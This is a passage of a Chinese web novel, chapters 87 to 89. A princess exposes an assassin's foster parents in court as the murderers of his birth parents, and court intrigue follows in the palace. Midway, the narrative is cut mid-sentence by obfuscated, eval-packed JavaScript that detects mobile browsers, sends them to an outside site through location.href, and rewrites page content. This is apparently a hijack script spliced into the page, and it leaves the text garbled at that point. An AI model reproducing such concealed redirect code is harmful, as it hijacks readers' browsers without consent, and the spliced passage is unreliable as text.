他现在名字在缘楼的悬赏令里,不管天涯海角,缘楼弟子再见他没有情分,只有生死。 所以没人会来帮他,在没受伤和中化骨散的情况下,蓝素衣相信纪无涯能带人离开,救下赵南涧和许归。 可惜这次陆海清是针对纪无涯而来,不会那么轻易让他得逞。 能救他的只有赵南涧和许归用命相守。 蓝素衣暗中捏紧拳头,但也不能表现出来,假装跟许归进行搏斗。 许归打散周围的人,蓝素衣主动去挨了一鞭子,随后许归见状一把将浑身是伤的纪无涯推进水中,她拦住后面的追兵。 “命百子快走吧,去找李姑娘,你要好好活着。” 陆海清笑意收敛,再次一拳卯足内力打在许归胸口,一拳将其心脉震碎,她受力飞出老远,趴在柳树下,身旁是死去的赵南涧,朝着赵南涧伸手,想去牵住她家老头子的手。 眼泪从眼角滑落,最后刚触碰到对方的指尖,再也撑不住闭上了眼睛。 陆海清意味深长地看了眼佯装重伤的蓝素衣,“楼主能力不行,竟被一乡野村妇所伤,缘楼日后堪忧啊。” 他望了望平静的河面,再次笑了起来,“不过,十三到底跟我也有情谊在,这次可绕其一命,往后,我跟缘楼的情分也是走到头了。” * 第七天的时候,李之夭总觉得心里有些发毛,但说不出是什么感觉。 衙门派人来报说曹大人已经到了,正等着她过去。 李之夭带着踏雪出门,但刚走没多久,迎面差点被一辆从城门口飞驰进来,横冲直撞的马车创飞。 踏雪夺走马夫手里的缰绳,暴力将马车叫停,因冲的力道太快,马停住后重心不稳,马车直直被掀翻在地上。 小二连滚带爬起来,刚想骂人,就瞧见李之夭,顿时喜不自禁冲上前保住李之夭嗷嗷一顿哭。 “主子啊!主子!上天终于听到我的祈求,找到你了!我的老天爷啊!” 耿进才也从马车里爬出来,看到李之夭也跟着小二上来一起委屈地哭。 “主子啊,咱们以后怕是要流露街头,东躲西藏了。” 87. 爹娘 第87章 李之夭将两人先后拽起来,飞鸿从马车里将晕过去的洛萤扛下来。 周围闻声而来的百姓越来越多,他们看李之夭的眼神充满好奇和窥探,同时还夹杂着些许敬畏,耿进才注意到他们的目光,不由正色看向李之夭。 “这里不是说话的地方,你们先去客栈找三娘,我去去衙门就来。” 耿进才连说好,身后追兵穷追不舍,不敢再多逗留进了客栈,金三娘早闻声音已在门内等候,进客栈后莫约过了半个时辰的时间,城里忽然涌进一群人高马大的壮士,个个面上覆着面具,只露出一双眼睛,身穿布衣,腰间佩刀。 领头的男人下马揪住路边一位摊贩的衣襟,凶神恶煞地问道:“有看见一辆马车进了城么?!” 小贩余光落在男人手里锃亮的刀上,哆哆嗦嗦指了指拐角处,男人顺着瞧去就看到拐角处横在地上的马车,一行人浩浩荡荡过去,又逮住路边的人询问才知道马车上的人进了客栈。 然后闯进客栈,里里外外全都翻了个遍都没见到踪影,除了在后院的墙角处找见洒在草坪上的香粉,他立即带人追了上去。 李之夭去到衙门里,曹大人恭恭敬敬站在一旁候着,见人进来立马热情迎上来,“公主殿下此等小事竟能让你大动干戈,派人璧兰城通传属下一声即可,亲自动手难免沾了一身晦气。” 他想引李之夭坐到公堂主位上,面上毕恭毕敬,不忘跟她攀点关系,“实不相瞒,我曾也是太傅大人手底下的学生,当初沈相途径肃州,也在我府上待过几日,不知公主可曾见过他们?” 李之夭并未顺着他的势往下,若她真坐在这主位上,日后必要遭人把柄,同样笑着把主位空出来,“老师和沈相我都见过了,不日就要过来,现在天水城搅得乌烟瘴气,请大人过来实属无奈,大人也不想让太傅和沈相看到天水城这样的情况吧,大人早做决断才是。” 曹大人只能坐在位置上,李之夭坐在师爷的位置上望他,眼神示意赶紧决断,没办法曹大人只能咬牙一拍惊堂木,“把孙落山和纪氏夫妇押上来!” 县令这些天都在牢里关着,府上大小事宜全是手底下人帮忙打理,但牢里的狱卒全都换了人,一点消息风声都不透进来,看到曹大人坐在主位上的那一刻,仿佛看到了救星,中气十足很有傲骨的往地上一跪,“大人啊,下官终于把你给等来了,还请大人为我做主!“ 曹大人偷偷撇了一眼李之夭,李之夭笑着道:“大人该怎么判就怎么判,我区区一名前朝公主,哪怕舅舅为我受了封号,承蒙陛下关怀享受公主福泽,不过也是前朝人,若大人断得好,将来我回宫里,也会歌颂大人贤德,世人称颂,前途不可限量啊。” 这些话宛如一记重锤狠狠砸在曹大人心坎上,就算丞相和太傅都在附近哪又怎样,都不如眼前这位祖宗身份好使。 自顾前朝皇室哪位会有好下场,偏偏这位好端端坐在这里,还得了封号,享受公主待遇,甚至皇帝都是她的舅舅。 既然人家话都这么说了,不就是在暗示他么? 想着加官进爵指日可待,曹大人断然不会让孙落山这个口无遮拦的混战毁了前程。 再拍惊堂木,砸得震天响,堂下跪着的人不由打了个哆嗦,曹大人再度开口,“大胆,本官让你说话了么?扰乱公堂秩序,来人,打孙落山十板子长长记性。” 县令傻眼了,这曹大人不是跟自己一丘之貉,狼狈为奸么?怎么反倒不救他,还要惩治他了,回过神来的时候他已经被衙役摁在地上,揉入千金重的板子登时起起伏伏落在了他的屁股上,疼得他哎哟哎哟求饶。 “大人!”县令眼泪都快出来了,“你饶了我吧,下官知错了,大人日后我再多给你些银子……” 此话一出,曹大人顿时汗流浃背,如坐针毡,惊慌失措地站起来打断底下人说话,“公堂之上你敢公然贿赂本官,岂有此理,本官高风亮节,犹如清风朗月岂能容你这般龌龊狗官贿赂。” 说完赶忙朝李之夭行礼,“公主明鉴,臣洁身自好,一心为民,从不接受这等肮脏事!” 李之夭摆摆手,一副我懂的样子,“大人行事百姓有目共睹,相信大人为人,日后若是去到璧兰城或是肃州其他地方,找当地百姓或县官一问便知,此等小人诬陷行贿,实在可恶。” 曹大人擦了擦额头上的汗,忙不迭附和说是,“公主心如明镜,犹如昭昭日月!” 他继续指挥人干活,“掌嘴,孙落山,什么该说什么不该说,你心知肚明,万一或从口出,牵连家人。” 县令彻底认清曹大人根本不是自己的救星,而是催命符。 人往高处走,他想讨好宿宁公主顺着往高处爬,现在舍弃他这颗棋子丝毫不会觉得愧疚,巴掌落下来,他心也死了,把罪责全部揽在自己身上,但说到为何帮纪氏夫妇,县令却有另外的说辞。 “大人明察,下官上任天水城县令,在他们夫妇没来之时也是勤政爱民,虽然喜欢贪图小便宜,可也尽心尽力,但他们夫妇还有身边的孩子说身边有高手相互,此人在江湖中还有些名头,希望我能庇佑他们一家子,一开始我不同意,谁知过了没几天,就有一名杀手夜闯我宅,明晃晃的刀架在我脖子上,烧了我好几间铺子,我身边的都是一群饭桶,根本斗不过他,为了性命考虑,只能跟着他们一起兴风作浪!” 纪氏夫妻一听只觉天都塌了,想过自己逃不掉,没想到来得这么快,吓得不轻磕头求饶,只得把罪责全部推到纪无涯身上。 “大人我们做法虽有不妥,但也事出有因,主要是我们也遭人胁迫,不得不委曲求全。” 纪母双眼含泪看向堂上端坐着的人,似乎挣扎许久才落下决心。 李之夭懒懒看了她一眼,忽然觉得自己演戏时,纪无涯是不是也这样看着她,什么都不说,就静静看你演。 “我家中不止一个儿子,还有位幼时就离家出走的大儿,名叫纪有命,他十岁出走,鲜少回来,两年前回来一次,我们才知他竟不学好当了杀手,回家时就跟我们要钱,每次一走总是将我们家底掏干,若我们不给就拿宗旭的性命要挟,后来数额越来越大,我们搬离栾县,来到天水城就是想躲避他,不知纪有命用了什么办法找到家里来张口就是一万两,我们实在拿不出,他倒好转头就去威胁县令,我们这才走上歧途,说实话,他并不是我们亲生的,刚生下来他爹娘过世,我们夫妻二人看孩子可怜,那时我身子不好一直一无所出,养在膝下,长成这样说到底还是我的过错。” 纪母哭着诉苦,若不是知道真实情况,她都快把自己给骗了,剩下两人跟着说纪无涯怎么怎么坏,有多让他们费心,到头来不知感恩,若非他在外当杀手,以全家人性命相要挟,又怎会走上今日的地步? 曹大人顿时怒火中烧,惊堂木拍在案上,“此人简直是养不熟的白眼狼!” 一直听着从未说话的李之夭忽然嗤笑一声,耳尖的曹大人立刻转头望来,“公主,可是哪有不对?” 李之夭拍手道:“说得好啊。” 纪宗旭道:“大人,一定不要放过此人,他还欠了公主一条人命,正因此公主才找到我们,全都是纪有命干得好事,公主都敢得罪。” “简直岂有此理!”曹大人义愤填膺怒拍案,既然他们都说跟公主有过节,为了仕途着想,更应该站在公主那边才是,“连公主都敢得罪,罪该万死!” “我们养了纪有命十年,没有功劳也有苦劳,哪怕养只猫猫狗狗都明白感恩,他自出出现后就没给家里带来一分安宁,也怪我们当初没把他看好,这才流落出去,尽学些不好的东西,没教育好他,得罪了公主,是我们的不是。” 纪母说着眼泪簌簌往下掉,说到最后自己都快信了,认为一定是这样。 纪爹叹气一声将她搂进怀里,“这事都怪我们,他就是个养不熟的白眼狼。” 外头乌泱泱围了看戏的百姓,听这么说心中产生一丝同理心,没想他们竟养出这样的孩子。 话语权眼看就要朝纪氏夫妇倒去,李之夭自然不愿意看到这幅景象。 “你们捡到他是在哪里捡到的?你们见过他爹娘?” 纪爹说见过,“就在隔壁的白溪镇。”但往后他什么都不肯说下去了。 纪母接过话茬,“当时他们都快死了,带着一名襁褓中的孩子,是他们把孩子托付到我们手里。” 她说完冲李之夭磕头,“还请公主明鉴,我们不过是些普通老百姓。” “你的意思是我为难你们还成我的不是了。”李之夭语调慢悠悠传来,“可我得知另个版本却不是这样的,他在家中这些年吃不饱,穿不暖,因为身体特殊自小饱受毒发的折磨,你们不但没积极救治,还妄想拿他辛辛苦苦挣来买药的工钱补贴家用,给纪宗旭。” 纪母猛地抬起头,眼泪都忘记掉,怔怔她,李之夭轻笑一声,“你们农户出身,纪宗旭作为你们的孩子,虽说皮肤黝黑,是日头晒出来的,但他手上一个茧子都没有,哪怕在家看书握笔多年,食指应有茧子才是,可见他在家从未受一丝委屈,你们声声讨伐的人,是我的侍卫。” 踏雪从怀里取出几封信放在案上,李之夭拿起第一封信,“这是我在栾县查到的,这是栾县钱员外当年雇纪有命帮忙挖藕时的证据,字据和当时签订的契约全都在,钱员外承诺给药钱,可是后来作为父亲的你瞒着孩子找了钱员外拿了本该属于他买药的钱,帮工每日做活儿多少,时辰多少都记录在册。” 拿起第二封信,“这是你们邻居王婶的说辞,纪有命自从记事起你们就安排他干活,上山砍柴,洗衣做饭,好生供养着你们的亲生骨肉,王婶看见偷偷给的鸡蛋最后都进了纪宗旭的肚子,这就是你们说的好生养着?”她叹口气,握信的手一阵发紧,“虽说捡回来的孩子总比不上亲生的,可他还在襁褓中就到了你们手里,是你们强求来的儿女情分,也断然不该这么糟践。” 第三封信,“这是栾县大夫的说辞,纪有命体内带毒,你们第一次带他去看病,就因为不想出药费或觉得药费昂贵,每次只让施针止疼,他不疼了,但无时无刻都不在毒发,或者你们跟他要些安睡的药材喂给纪有命,昏睡的孩子,又怎么知道自己是不是疼,是不是难受,偏偏他在我这里却说,你们为了帮他治病,掏空积蓄,母亲整日以泪洗面,责怪自己没有照顾好他,纪有命还觉得是自己的问题,如今谎言在前,你们骗了他这么多年。” 纪母情绪忽然激动起来,“我能有什么办法!他抱回来还好好的,两岁的时候突然就开始有迹象,要是知道他是这样的孩子,我们也不会要他,是那夫妻两骗了我们,早知道…早知道我们就不该跟着那夫妻两,明明看上去不差钱的,生出来的孩子却是个祸害,害我们至今。” “既知我生病时已放弃,何苦在我跟前做戏多年,娘亲。” 纪无涯穿过人群,他身穿布衣,面色苍白,眼里也失去了往常的 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他握紧双手,一步步往前,“你们要我把工钱留出来,我留了,一天帮人做好几分工,我知钱员外是好人,把钱攒在他那里,一副最贵最好的药,需要三两银子,那是我熬了一年才攒够的钱,后来得知钱被阿爹以我的名义拿走,你们一家三口进城里畅畅快快玩了一日,那日我离开,手里只有我帮人挑粪赚来的十枚铜板。” 县令看到他吓得面色大变,指着他就说,“就是他!就是他威胁我!” 纪无涯冷眼扫去,“我当日找你,目的是为了你府上钱财,他们夫妇自己贴上来跟我要钱,你是贪官,我来府上拿你的钱给他们也没问题,恰好被你看到我们在一起而已。” 县令悬着的心还是死了,到头来被人摆了一道。 纪无涯冲堂上坐着的人简单行礼,“十年的养育之恩,两年前我出钱帮你们建了纪氏酒楼时就已经还清,后来再见,都是纪宗旭和其父亲跟我要钱不得罢了。” 李之夭将栾县所有人的口供和证据交给纪无涯,他低头随意翻了翻嘴角扯起一抹讽刺的弧度,反手将其扬了起来,纸张四散,不少飘落出去或是落在地上,白纸黑字,摁着红手印,字字句句,足以证明先前他们所说的话全都是假的。 她感谢耿进才派出去查这件事的人心细,想得如此周到。 所有人仰头望着洋洋洒洒的纸张,他们跪在地上不敢再说半字,曹大人偷偷看了几张,心里都忍不住骂他们是刁民。 “既然现在事情说开了,不妨说说他的亲生父母吧。” 纪氏夫妇嘴唇一抖,纪爹颤颤巍巍开口:“说…说什么,我们全都告诉你了。” 她指了指纪母,“方才她说纪有命的爹娘看上去不像差钱的样子,既然不差钱为何要把孩子给你们,还有当初你们为什么跟着?” 纪爹下意识看向纪母,纪母面色惨白,仍然不改口风,“他们觉得自己时日无多,怕不能照顾好孩子,便托付我们,这有什么问题么?” “你怎知他们时日无多?” “因为…因为是他们自己说的,我们去走访亲戚,路上正好碰上。” “真是稀奇,若知道自己时日无多,膝下的孩子应该是尽早寻找值得托付的人家,你们萍水相逢,他们就这么放心把孩子交到你们手上?” 李之夭拆穿他们的谎言,“作为爹娘,自是希望孩子出生平安顺遂,加上纪有命的爹娘是知道孩子日后会生病,需要药养着,怎么就托付到当时一穷二白的你们身上。” 纪母瘫坐在地上,嘴唇嗫嚅,很想争辩什么,但她不管怎么说都是漏洞百出,索性闭嘴不在说话了。 李之夭也不惯着他们,“纪宗旭这些年坏事也没少干。”她故意顿了顿观察纪氏夫妇的神色,“挨几下而已。” 踏雪拔出匕首趁他们反应不过来戳进纪宗旭的大腿上,疼得他嚎啕大叫,旁边跪着的两个大男人都吓得面色一白。 匕首拔出来,以掩耳不及迅雷之势又扎进了纪宗旭的另一条大腿上,带出的血珠滚落在纪爹手背上,他们被衙役摁在地上挣扎不得。 纪母哭喊着不要不要,县令默默爬远了些,生怕殃及自己。 李之夭歪头含笑看他们,眼底是一片凉意,“半个洛城当年也在燕国境内,栾县属于燕国,我是不是表现得太好说话了,才让你们觉得我是明事理的人?” 眼看踏雪又要刺第三刀,纪母失声尖叫,“我说,我说,我们全都说!” 踏雪的刀停在纪宗旭的手背上,衙役松开压制着纪母的手,她连滚带爬上去紧紧将纪宗旭护在怀里,纪宗旭哭着说自己疼,纪母眼泪刷刷掉,“没事,娘在这里,娘在这里。” 他们一家三口抱在一起哭起来,而李之夭高高在上坐着,不明真相的人看起来以为李之夭才是那个用强权压迫别人的恶棍。 纪母哽咽着说道:“纪有命的爹娘……” 眼神躲闪,不敢看旁人,更不敢看纪无涯,她只敢紧紧搂着纪宗旭。 纪无涯站在一旁,心随着她的话跟着揪起来,得知真相的时,他紧握的双拳轰的松开,站在原地,脑子有短暂的空白,清醒后不断重复着方才的话。 十七年的真相,他从前以为是爹娘不爱自己,或觉得他是个累赘的亲生爹娘,想了一百种理由去否定过去的他们,困惑他们的自私,为自己带来生命的他们。 真相赤裸裸摆在眼前,让他心底防线瞬间崩塌,撕裂的口子里装着的不是光明,而是一望无际的黑暗,拽他进去不停地往下坠落,抓不住任何东西。 “被我们杀了。” 88. 杀念 第88章 此话一出众人愕然,原先以为他们夫妻两只是贪财没良心,为人不厚道,没想身上还牵扯出人命来。 李之夭从月缘山上下来的时候问过蓝素衣,邀月使会不会武功,身手如何? 蓝素衣解释说邀月使都会武功,且身手不凡,不会武功怎么保护纳多族,只不过邀月使并非一人,共有五人,纪无涯的母亲就是邀月使其中之一,其父亲虽然也会武并不是邀月使。 说到这里蓝素衣轻叹口气,回忆着二十一年的事,“二十一年前,我不过才九岁,转眼现在都三十了,十三的娘亲是个很温柔的人,他爹是个有文化的武书生,阅历丰富,喜欢将一些从未听过的故事,后来得知他口中的故事都是自己编出来哄小孩子高兴的。” 她轻笑一声,“我经常去供奉着神女神像的神庙里玩,神庙复杂,是个躲藏探险的好地方,小孩子总是对未知充满好奇,有一颗顶天立地的雄心壮志,所以深得村中孩童喜欢,怕孩子们出事,十三的娘亲在里面逛了两天排查所有不可控的因素确保安全,孩子们进去后,他们夫妻两常在附近守着。” 蓝素衣年幼时也喜欢和一群差不多的孩子混在一起,她们举着风车呼啦啦跑过,清风暖阳,林声沙沙。 她侧头落进两双含笑的眼眸,正温柔地注视从跟前跑过的她。 发尾微扬,裹着三月的风,春意蔓山岗。 “自从我找到十三后,私底下去打探过他爹娘的行踪,一无所获,查出最后的位置是在白溪镇,到那里一切都断了,找不到他们说明一个问题,那就是他们死了。” 他们死了。 被眼前的夫妻杀死了。 纪无涯软剑直指纪母脖颈,“为什么要这么做?” 纪母眼神犹豫,下一瞬剑锋又逼近了几分,李之夭注视摇摇欲坠的少年,踏雪凑近她耳边低声说道:“主子,纪无涯伤得很重。” 继续仍由耽搁下去,只怕会伤了根本,他前些日子被沅露重伤,这才过了不到十天的时间,又把自己搞成这副模样,只怕是宁缘城出了乱子。 耿进才他们不至于这么狼狈逃出来,耿进才被波及到,说明她身后的银来庄怕是藏不住了。 现在剧情怕因为她没帮苏月清救下男主,反而跟男主结仇后已经发生了改变。 牵扯出的缘楼和纳多族,都是书里没提到的。 关于裴淮的生母,只有一句,安庆帝是导致她母亲家族灭亡的凶手。 李之夭仿佛抓到什么被遗忘的东西,事情变得开明起来。 现在不能让纪无涯再出差池,留下来动怒容易受到影响,便起了想让踏雪强行带他走的念头,只是刚起身,纪无涯几乎接近哀求脆弱的目光便投了过来,扎得李之夭心里泛起丝丝的疼。 他双目微红,说话声音都是低低的有气无力,强撑着不让自己倒下,“我知道我的状况,现在别劝我,我想知道全部经过。” 纪无涯末了轻轻补充一句,你还想用以前那套,我只觉得恶心。 他们对视许久,李之夭松口答应,现在不知道,后面还是要告诉纪无涯的。 “我们曾在洛城当初的县丞家中做工,后来栾县亲人病逝,我们回家的时候路上遭遇土匪,土匪很多,不光抢了身上的钱财,还把人全都带到了山上,当时纪有命的爹娘也在其中,众人聚在一起闲聊的时候,得知妇人快要临盆的时间,他们打算先去洛城找大夫。 没曾想遇上土匪,腹中有孩子,纪有命的亲爹不忍心造下杀孽,跟着一块来了,我们好歹也是在富贵人家干活,认得些东西,一眼瞧出妇人手上镯子价值不菲,人被救出来后我们借口说也要去洛城雇辆马车,十几公里的路,男人背着竹椅走了一天的路,我们也跟了一路。 天色暗下来,距离洛城还有五公里,我们一块进了间破庙休息,没想到晚上他们遇上仇家上门,妇人动了胎气,而男人受了伤,我们当时藏在石像后面吓坏了,最后男人恳请我帮忙接生,他感觉自己活不长久了,在洛城为孩子找好了下家,若是孩子生下来请我们帮忙带着孩子的娘送过去。” 纪母说到这里顿住,怯生生望了纪无涯一眼,纪无涯语气冷了几分,“继续说。” “后来妇人平安生产,是个男孩,也就是你,那时我们虽然成亲五年,眼看年奔三十膝下还是无所出,便想着问问能不能把你交由我们抚养,毕竟远水救不了近火,但你的爹娘拒绝了,说那是户心善的好人家,定会全心全意待你,不想剥人家好意,这不就是说我们不是好人家不值托付,帮不了你什么么,所以当天晚上就起了争执,你娘亲刚生产完你就要走,被我推倒在地,头砸在石头上死了,而你爹当时受了伤,失血过多…索性一不做二不休,把你爹勒死了。” 纪母说完看了一眼李之夭,“这是全部。” 趴在地上一开始还在哀嚎喊疼得县令听完忍不住回头指着他们骂道:“就因为生不出孩子想跟人讨要,结果人家不给,说安排好了孩子的未来,你们自己脑补出了一番大戏,然后把人杀了?本官真是瞎了眼,跟你们这样的畜生狼狈为奸两年!” 曹大人一噎,自己虽然也不是什么好人,但手底下却是从不伤人性命,毕竟害人命有损阴德,“你们一开始也是见财起意,后面又看人家生了儿子,你瞧瞧人家这小郎君模样俊俏,跟你们差得简直不是一星半点。” 李之夭补刀:“纪宗旭,你要不要问问你是不是亲生的,万一你也是他们害了别人性命抢来的,你还要跟着他们一起为非作歹么?” 纪宗旭盯着纪母,纪母气得一巴掌打在他脸上,“这些年喂你的饭喂到狗肚子里了?你是我十月怀胎辛辛苦苦生下来的孩子,跟他完全不能相提并论。” 纪爹没想到纪母一股脑把全部事交代了,心中只觉天塌了,自己这一家子全完了,“你想死可千万不要赖上我,这些事都是你干的,我也是受你指使,不然怎么做出这样的错事,这些年我一直寝食难安心怀愧疚,你都不觉得害怕!” 纪母难以置信的睁大眼睛,“你说什么纪大为!我嫁给你这些年,当初还不是生不出孩子被你家上上下下戳脊梁骨,你有为我说过话吗,当时是你说想找机会看看能不能搞到那只镯子才死皮赖脸跟着,现在又成我的错了!” “你胡说八道什么?你把人家娘杀了你怎么不说,当时我就看出来你蛇蝎心肠。” “你说我蛇蝎心肠?还不是你说趁人病要人命,你是个道貌岸然的伪君子还差不多。” 曹大人拍响惊堂木,场面瞬间安静下来,“公堂之上岂容你等放肆喧哗!”说罢对李之夭的时候全然又换上另一副嘴脸,“公主,你说这件事该怎么办?” 纪氏夫妇听闻要处置自己,大惊失色,全然没了方才互相泼脏水的气势,两人又心照不宣的一起冲纪无涯求情。 “有命,是我们对不起你,但你看在我们养了你将近十年的份上,求你跟公主为我们求情网开一面,我们不想死啊。” 纪无涯垂眸看他们一左一右扯自己的衣摆,眼神嘲讽,将衣摆从他们的手里扯出来,“十年时间,纪氏酒楼就是我偿还的恩情,我们之间早就没了亲情,是阿娘你和和阿爹亲口说的啊,为了纪宗旭,提出来的断绝恩情,不管过失还是预谋,杀人偿命,你们求我也没用。” 他冲李之夭拱了拱手,自觉退到李之夭旁边站着,纪母眼看又要掉下泪来,纪无涯目光凉如雪,“幼时你常常掉眼泪,总以为是我做错了才惹得阿娘你如此不高兴,所以从小我就怕你掉眼泪,不想让你伤心,现在真相大白,你还想用以前那套,我只觉得恶心。” 纪母眼泪含在眼里,瞳孔微张,纪爹瘫坐在地上,心中满是懊恼,早知从一开始对他好些,会不会结局不一样,可惜没有如果,一切都是幻想。 纪宗旭跪走几步,“大人,啊不,公主。”他对着李之夭疯狂磕头,“这些事都是我爹娘干的,我现在才十五岁,两年前的事我什么都不知道,杀人的是他们,跟我没有一点关系!” 纪无涯回怼道:“你确实是不知道,可这些年你靠着我也得了不少好处,你知爹娘偏袒对待,并未我说过什么,心安理得享受从我手里得来的一切,你算哪门子无辜?” 李之夭起身,“纪宗旭死罪可免,活罪难逃,但他的爹娘杀人是板上钉钉的事,今日涉案人员,曹大人你自己看着办吧,我还有事,要先走了,我回京后定会跟舅舅美言你几句。” “纪氏酒楼是我出钱置办,但是断情份的东西,我不会要,归纪氏夫妇和纪宗旭所有,与我无关。” 曹大人说明白明白,心里乐开了花,强压嘴角装出一副秉公执法,清正廉明的样子,将纪氏酒楼查封充公,搜出来不少银子若换从前,三分之二都能进自己的私库。 眼下是升迁的关键时刻,一分一毫都不敢贪,全都充公,罢了天水城县令的县官职位,查清从前县令做了许多害名的事,家产查封分发出去救济百姓,手里同样沾了人命,明日斩首示众。 纪氏夫妇亦然,他们三人既然喜欢互相勾结,狼狈为奸,那就一起去阴曹地府团聚。 踏雪对最后的结果还有些费解,“曹大人也不是什么好东西,主子就这么放任他不管?” “当然不会,肃州的监察官是个好人,趁曹大人还在都天水城代为监管天水城事宜,吏部那边任命还没下来的时候暂时不要动他,仗着想升迁的心情,他不会危害百姓反而事事尽心尽力,你替我传信一封给肃州监察,攻其不备出其不意,搜查知州府,定不会让他失望的。” 踏雪点头,“我记下了。” 出了府衙后纪无涯就没再说话,看他这副魂游天际憔悴的模样,李之夭生怕他撑不住倒下去,自从来了缘楼,跟他有关的事,一茬接着一茬,沉甸甸的全部一股脑压在了纪无涯身上。 她也不敢问宁缘城出了什么事,万一不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457643|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心触及他的伤心事,惹人忧愁,打算回客栈找耿进才他们问清楚,还把洛萤带了过来。 人还未到客栈,纪无涯先坚持不住倒下了,李之夭蹲下去扶他,手刚碰到他的腰感到一股温凉,手上沾了鲜红的血。 李之夭当机立断让踏雪先送人去医馆疗伤。 离开后前方落脚的客栈追着耿进才来的杀手从里面走出来,收到消息说李之夭也在天水城,他们本想在客栈等个瓮中捉鳖,谁知等了一早上饶是不见踪影。 决定不等了直接在城里找人,虽说要李之夭性命是京城大官的意思,但他们也不敢招摇过街,难免会落在皇帝耳朵里。 她如今身在民间没了宫里的庇佑,就算死了清武帝总不能把官全部撤了。 所以现在的局面是每个人乐意看到的,是生是死都不会牵扯太多。 清武帝看完手中密信,打开灯罩的盖子用信引火,孙广全揣着手立在不远处,火光明明灭灭印着他的瞳孔,火舌快烧到手的时候,清武帝松手将毁了一半的信扔进灯罩里,盖上盖子。 “好啊,丞相在外,现在就连太傅都跑去了宁缘城,这些老东西你觉得他们究竟想干什么,谁都要去宁缘城,宁缘城到底有什么,让他们这么在意。” “或许是都知道了宿宁公主被人带走去宁缘城的消息,二老这才过去。” 清武帝冷哼一声,大步走到自己位置上坐下,“走到今日,他们心里都藏着自己的秘密,朕眼睛不瞎能看得出来,现在宿宁去了天水城,有一批杀手也跟着去了。” 孙广全眼珠转了转,他虽服侍在皇上身边,这些年下来,他跟宿宁公主之间的交情也不浅,想方设法从中斡旋,“皇上不是说也有杀手追着去了么,只怕是宿宁公主遇到了麻烦,东躲西藏暂时回不来。” 清武帝哎了一声,“当年的事我对阿妹心怀愧疚,宿宁暗中跟银来庄有往来,你说这都是什么事,银来庄是大魏第一钱庄,朕早些时候已有银来庄为己用的念头,这么大的事掌握在旁人手里总归不省心,现在跟朕说宿宁跟银来庄有牵扯,不得不怀疑她说的不会复国念头是真是假。” “宿宁公主这两年在宫里安分守己,皇上若是实在不放心,不妨派秦大统领去将宿宁公主寻回来在做责问。” 清武帝想了想便同意孙广全的提议,吩咐秦立山带人乔装打扮入江湖去把李之夭带回来,刚准备歇息,又有人来说太后来了。 自从上次骊山回来后,他们母子已有好久未曾说话,江氏也时常自己待在宫里修身养性,宫里安分不少,就连段兰之也都安分下来了。 连常欢也乖乖待书院里念书。 清武帝一阵恍惚,赶忙让人请太后进来。 江氏进来母子两先说了会家常话,说到最后她才道明自己此番来意。 “皇儿,母后知道你为了李之夭好,如今朝中对她的风波不断,既然下月放她出宫自立门户,不妨你为她招个驸马入住,有个贴心的人在身边伺候,总归不是坏事。” 主意让清武帝听进去了,招个驸马进府,平日里帮忙伺候着,让她自己有个家。 “母后可有人选?” 江氏摇头说没有,“我也是最近才想通的,宿宁到底是连漱的孩子,也是我的外孙女,一家人一荣俱荣,一辱俱辱,她过得好些,也能体现我大魏风度,她的事一向是你全权做主,哀家来找你拿个主意。” “这个法子朕看可行,只是暂时也不知该选谁家二郎做宿宁夫婿。” 若他在朝上提及此事,诸多大臣都不会愿意,甚至还会引发新一轮的争斗,只能说这件事他会考虑,“母后如有合适二郎可跟朕说,只要两人郎才女貌,样样登对,二郎人品相貌出众,朕不会反对。” 当清武帝走出御书房的时候,外头天色全部黑了,还是差不多半月时间,北唐使臣就到了,据说对方有意跟大魏和亲,这又是件麻烦事。 他膝下只有一十二岁的女儿,朝中还真挑不出合适的女子,不知怎么的,忽然想到李之夭来。 年龄合适的,只有她一人。 清武帝对孙广全道:“摆驾春和宫,朕要见贤妃。” 沈宁带着宫里的宫人刚捉完树上的蝉虫,她近几日睡眠浅薄,稍微一点动静都心烦意乱,不能入睡,夏日外头的虫真是活跃的时候,她只能找人把藏在树叶间的虫全部捉起来放到御花园里去。 没想到迎来清武帝,赶忙行礼,清武帝扶起她就往屋里走。 “皇上今日怎么来了?” 清武帝把太后的提议和自己的想法跟沈宁说完,最后又提到北唐的使团,还有若是涉及和亲一事,该选谁来合适。 沈宁心里默默白了他一眼,真是什么好人都让他当了,但实际耐着性子说自己的见解,“北唐和亲,谁规定我们大魏必须出女儿去?他们北唐皇子兴盛,入到大魏来养着,等大公主及笄后给她当个白脸的小驸马也是可以的。” 89. 全部 第89章 沈宁察觉清武帝神情不对,不动神色的继续往下说话,“臣妾不过是句玩笑话,皇上切莫当真,大公主金枝玉叶,是大魏唯的荣耀,将来的夫婿定定当万里挑一,举世无双,若皇上想让宿宁公主和北唐和亲,也得问过宿宁意见才是,北唐距离大魏这么远,日后有何差池也是难以把控招架的。” 清武帝心中舒坦些,皱眉沉思沈宁的提议是否稳妥,“待太傅和丞相回京,朕同他们商议一番,宿宁若真能为大魏江山做些什么以表忠心,不亏于朕的阿妹之女。” 沈宁为他斟茶,清武帝笑道:“不愧你有沈相那样的祖父,教出来的孩子必然不会差,朕只希望所谓和亲只是谣传,北唐想大魏结交稳固两朝关系,不该只靠着那薄薄的婚书,姻缘换来的东西,终究不能长久。” 他想到自己和亲的阿妹,只要不是迫不得已,清武帝不愿李之夭走上连漱的老路。 * 大魏和北唐的交界边境,裴淮一行人路上东躲西藏终于到了幕阜山关口,过了幕阜镇,对面就是北唐的领土。 青鸢先去偏僻的客栈跟掌柜要了四间房,她和杨刻需要值守,所以一间房轮流休息就够了。 边关镇子上来往怪人不少,掌柜也没多想让她登记了人员姓名后就给了牌子,青鸢拿到牌子后出门将其三枚分发给裴淮,苏月清和裴执三人。 一起进去人多眼杂,他们分成三批人进了客栈。 连续几日奔波,苏月清也感到疲惫,简单休息后晚饭都是裴淮送来的,她默默吃着饭菜,心事重重的样子。 